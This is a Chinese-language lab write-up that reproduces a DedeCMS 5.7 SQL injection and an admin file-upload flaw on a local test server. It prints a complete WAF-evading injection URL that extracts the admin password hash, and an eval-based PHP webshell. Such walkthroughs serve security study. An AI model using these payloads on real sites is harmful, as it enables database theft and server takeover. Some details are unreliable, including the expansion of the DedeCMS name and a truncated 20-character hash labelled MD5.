DedeCMS织梦5.7 SQL注入+文件上传复现:环境搭建+渗透实战

目录

一、DedeCMS织梦5.7简介

[1、会员组查询 SQL 注入](#1、会员组查询 SQL 注入)

2、后台文件管理器文件上传

二、环境搭建

1、服务配置

2、DedeCMS安装

3、访问DedeCMS

(1)网站首页:

(2)管理后台

三、SQL注入渗透

1、SQL注入

(1)字符串逃逸与逻辑注入 (\' or mid=@``)

(2)绕过WAF/过滤的联合查询 (/*!50000union*//*!50000select*/)

[(3)数据窃取Payload ((select CONCAT(0x7c,userid,0x7c,pwd) from #@__admin limit 0,1))](#@__admin limit 0,1)))

(4)注释掉原SQL语句 (#@'+))

2、md5解密

四、文件上传

1、管理员登录

2、上传木马

3、访问木马


本文讲解织梦DedeCMS框架5.7版本的SQL注入+文件上传的渗透复现过程,包括从搭建环境到渗透实践的整个流程。

一、DedeCMS织梦5.7简介

DedeCMS(全称:Destoon Content Management System,中文常称 "织梦 CMS")是一款由中国开发者团队开发的开源内容管理系统(CMS),专注于为企业网站、个人博客、资讯门户、电商网站等场景提供快速建站解决方案,曾是国内使用范围最广的 CMS 系统之一。DedeCMS5.7存在如下两个安全风险。

1、会员组查询 SQL 注入

  • 文件路径:member/ajax_membergroup.php
  • 该文件用于处理会员组相关的 AJAX 请求,其中对用户传入的groupid参数处理不当,导致 SQL 注入。

2、后台文件管理器文件上传

  • 文件路径:dede/file_manage_control.php(负责处理文件上传的核心逻辑)
  • 仅通过文件后缀名判断是否允许上传,未结合文件内容校验。默认允许.htm.html等类型,攻击者可将webshell.php伪装为webshell.php.htm绕过检测。

二、环境搭建

本部分搭建DedeCMS5.7版本复现SQL注入和文件上传,具体如下所示。

1、服务配置

在开始安装之前,请确保您的服务器或本地开发环境满足开启Web服务和数据库服务。首本文使用PHPStudy工具开启Apache+MySQL服务,如下所示。

这里需要特别注意的是由于本文实验室用的是DedeCMS织梦5.7版本,PHP版本不可以过高,否则会访问网站失败,本文选择php5.2.17,具体操作为网站-管理-php版本,如下所示。

2、DedeCMS安装

将下载的DedeCMS5.7网站源码压缩包解压,你会看到通常包含多个文件和文件夹,其中 uploads 文件夹内的内容才是需要上传到网站根目录的程序文件。这里为了方便,我直接将源码目录统一放到www根目录下,如下所示。注意将源码目录名修改为DedeCMS,进入DedeCMS目录后,存在如下两个文件夹docs和uploads。

在浏览器中访问http://127.0.0.1/DedeCMS/uploads即会被重定向到安装界面,此时URL变为

http://127.0.0.1/DedeCMS/uploads/install/index.php,具体如下所示。

复制代码
http://127.0.0.1/DedeCMS/uploads

安装程序会自动检查服务器环境是否符合要求。请确保所有项目都为 "√""符合"

接下来是最关键的参数配置,特别注意需要配置如下两项参数。

  • 数据库用户 :填写你的MySQL用户名(以本机环境为例:root)。

  • 数据库密码:填写对应用户的MySQL密码(以本机环境为例:root)。

  • 网站管理员帐号 :设置一个后台管理员的用户名(默认是 admin,建议修改)。

  • 密码 :设置一个非常强壮的后台登录密码(我这里选择默认的admin)。

所有参数填写无误后,点击"继续",系统会自动创建数据表并导入初始数据,此时提示安装成功,如下所示。

3、访问DedeCMS

(1)网站首页:

点击访问网站首页,即进入DedeCMS的首页,具体如下所示。

复制代码
http://127.0.0.1/DedeCMS/uploads/index.php

(2)管理后台

点击登录后台,此时进入管理账户"登录网站后台"的页面,输入你刚才设置的管理员账号和密码即可登录。

复制代码
http://127.0.0.1/DedeCMS/uploads/dede/login.php

三、SQL注入渗透

1、SQL注入

通过构造payload获取网站后台管理员账户密码,完整内容如下所示。

复制代码
plus/recommend.php?action=&aid=1&_FILES[type][tmp_name]=\%27%20or%20mid=@`\%27`%20/*!50000union*//*!50000select*/1,2,3,(select%20CONCAT(0x7c,userid,0x7c,pwd)+from+`%23@__admin`%20limit+0,1),5,6,7,8,9%23@`\%27`+&_FILES[type][name]=1.jpg&_FILES[type][type]=application/octet-stream&_FILES[type][size]=6878

通过精心构造的HTTP请求,利用PHP全局变量($_FILES)和字符串逃逸技巧,最终在数据库执行任意SQL命令,完整的URL如下所示。

复制代码
http://127.0.0.1/DedeCMS/uploads/plus/recommend.php?action=&aid=1&_FILES[type][tmp_name]=\%27%20or%20mid=@`\%27`%20/*!50000union*//*!50000select*/1,2,3,(select%20CONCAT(0x7c,userid,0x7c,pwd)+from+`%23@__admin`%20limit+0,1),5,6,7,8,9%23@`\%27`+&_FILES[type][name]=1.jpg&_FILES[type][type]=application/octet-stream&_FILES[type][size]=6878 

核心攻击载荷在 _FILES[type][tmp_name] 参数中,先对URL解码一次(注意:%27是单引号'%20是空格,%23是井号#),解码后内容如下所示。

复制代码
http://127.0.0.1/DedeCMS/uploads/plus/recommend.php?
action=
&aid=1
&_FILES[type][tmp_name]=\' or mid=@`\'` /*!50000union*//*!50000select*/1,2,3,(select CONCAT(0x7c,userid,0x7c,pwd) from `#@__admin` limit 0,1),5,6,7,8,9#@`\'`+
&_FILES[type][name]=1.jpg
&_FILES[type][type]=application/octet-stream
&_FILES[type][size]=6878
(1)字符串逃逸与逻辑注入 (\' or mid=@``)
  • \':这是一个转义的单引号。在PHP处理请求参数时,如果magic_quotes_gpc设置为On(老版本PHP的默认安全设置),它会在单引号前加反斜杠\进行转义,试图阻止SQL注入。这里的\'就是为了应对这个设置。

  • or mid=@``:这是注入的关键逻辑。它试图闭合程序原本的SQL查询语句,并添加一个永真条件。

    • 假设程序原本的查询可能是:$sql = "SELECT * FROM ... WHERE aid = '$aid' AND ...";

    • 注入后,SQL语句变为:... WHERE aid = '1' AND ... \' or mid=@` ...

    • mid=@````是一个无效的表达式,但其目的是利用反引号 ````` `` 和转义符 \ 来混乱SQL解析,最终目的是为了引入后面的UNION查询。

(2)绕过WAF/过滤的联合查询 (/*!50000union*//*!50000select*/)
  • /*!50000union*//*!50000select*/:这是MySQL内联注释的一种特殊用法。

    • /*!50000 ... */ 表示如果MySQL服务器版本大于等于5.00.00,注释中的内容就会被当作普通SQL执行。

    • 这种写法常用于绕过简单的Web应用防火墙(WAF)或代码过滤 。因为一些简单的过滤规则可能会匹配 union select,但不会匹配被注释分隔开的 unionselect。而对于MySQL来说,这完全等同于 union select

(3)数据窃取Payload ((select CONCAT(0x7c,userid,0x7c,pwd) from #@__admin limit 0,1))
  • CONCAT(0x7c,userid,0x7c,pwd):这是攻击的目标。

    • 0x7c 是十六进制,代表竖线字符 |

    • useridpwd 是DedeCMS管理员表 #@__admin 中的字段,分别存储管理员用户名和MD5加密的密码。

    • 这个语句的作用是将查询结果拼接成 |admin|5f4dcc3b5aa765d61d8327deb882cf99 这样的格式,便于在返回结果中识别。

  • from #@__admin``:#@__admin 是DedeCMS的表前缀占位符。在程序实际执行时,会被替换成配置的前缀,例如 dede_admin。攻击者利用程序这一特性,无需知道真实表名。

  • limit 0,1:只取第一条记录(通常是超级管理员)。

(4)注释掉原SQL语句 (#@'+)
  • #:这是MySQL的单行注释符。它之后的所有内容都会被数据库忽略

  • 攻击者用 # 注释掉了原始SQL查询的剩余部分,确保注入的UNION查询能正确执行而不会受到后面原有SQL代码的语法干扰。

  • @'+ 这些字符在注释之后,已经没有实际意义,只是为了符合之前混乱的语法结构,保证整个Payload能正确解析。

如下所示,SQL注入渗透成功,UNION查询将管理员密码的MD5值作为结果集的一部分返回给页面,获取到admin|f297a57a5a743894a0e4。

2、md5解密

登录somd5,MD5免费在线解密破解_MD5在线加密-SOMD5 ,对加密值解密,输入加密后的f297a57a5a743894a0e4,如下可知解密后为admin。即用户名admin,密码admin,其实这就是搭建环境时设置的管理员用户名和密码。

四、文件上传

1、管理员登录

进入后台页面登录,输入管理员账户admin和密码admin如下所示。

复制代码
http://127.0.0.1/DedeCMS/uploads/dede/login.php 

2、上传木马

依次点击页面的左侧边栏(模块)-文件管理器-文件上传,如下图红框所示。

上传木马,脚本内容为<?php @eval($_POST[ljn]); ?>,含义如下所示。

  • eval():PHP 中的一个危险函数,作用是将传入的字符串当作 PHP 代码执行。
  • $_POST[ljn]:获取客户端通过 POST 方法提交的、名为 ljn 的参数值。

点击上传后提示 ljn_post.php木马被上传到网站的uploads目录下,故而木马的URL地址如下所示。

复制代码
http://127.0.0.1/DedeCMS/uploads/ljn_post.php

3、访问木马

网页端访问木马,post的数据填写ljn=phpinfo();如下所示渗透成功,获取到网站的php服务信息。

复制代码
木马地址:http://127.0.0.1/DedeCMS/uploads/ljn_post.php
密码:ljn
相关推荐
努力的lpp4 天前
SQLMap CTF 常用命令全集
数据库·web安全·网络安全·sql注入
努力的lpp4 天前
SQL 报错注入
数据库·sql·web安全·网络安全·sql注入
南部余额10 天前
SpringBoot文件上传全攻略
java·spring boot·后端·文件上传·multipartfile
鱼是一只鱼啊17 天前
ASP.NET Core 集成腾讯云 COS 实现文件上传下载完整指南
云计算·asp.net·腾讯云·文件上传·cos
快起来搬砖了1 个月前
UniApp 全端兼容 OSS 视频上传实现方案
小程序·uni-app·app·h5·文件上传·oss文件上传
味悲1 个月前
SQL注入学习笔记一
安全·sql注入
Dawndddddd1 个月前
文件上传及比较常见的题目解析
ctf·文件上传
mooyuan天天1 个月前
upload-labs通关笔记-第17关文件上传之二次渲染png格式(python脚本法)
web安全·文件上传·文件上传漏洞·upload-labs·二次渲染
mooyuan天天1 个月前
CISP-PTE 文件上传关卡 渗透实战+代码审计
文件上传·文件上传漏洞·ctf-pte
mooyuan天天1 个月前
CISP-PTE SQL注入关卡渗透实战(手注法+sqlmap法)
sql注入·sqlmap·sql注入漏洞·ctf-pte